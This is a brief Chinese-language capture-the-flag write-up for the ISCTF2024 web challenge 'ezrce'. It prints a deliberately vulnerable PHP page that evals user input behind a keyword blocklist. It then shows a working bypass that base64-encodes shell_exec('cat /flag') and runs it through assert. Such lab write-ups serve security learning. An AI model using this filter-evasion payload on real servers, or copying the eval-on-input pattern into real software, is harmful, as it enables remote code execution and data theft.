远程Shell漏洞 | ISCTF2024 | Web ezrce
2024年12月10日约 163 字小于 1 分钟
<?php
error_reporting(0);
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>
进入网页后显示了以上代码。它过滤了一些关键字(为什么还有空格!!),我们需要在上面运行 Shell,拿到 flag。
但是它有点小粗心,没有禁止assert
,那我要发挥咯~~
我们可以assert
套一层base64
拿到flag
.
先将以下命令转为base64
shell_exec("cat /flag")
然后再包含进代码中,GET
请求发过去。
assert(base64_decode("c2hlbGxfZXhlYygiY2F0IC9mbGFnIik="))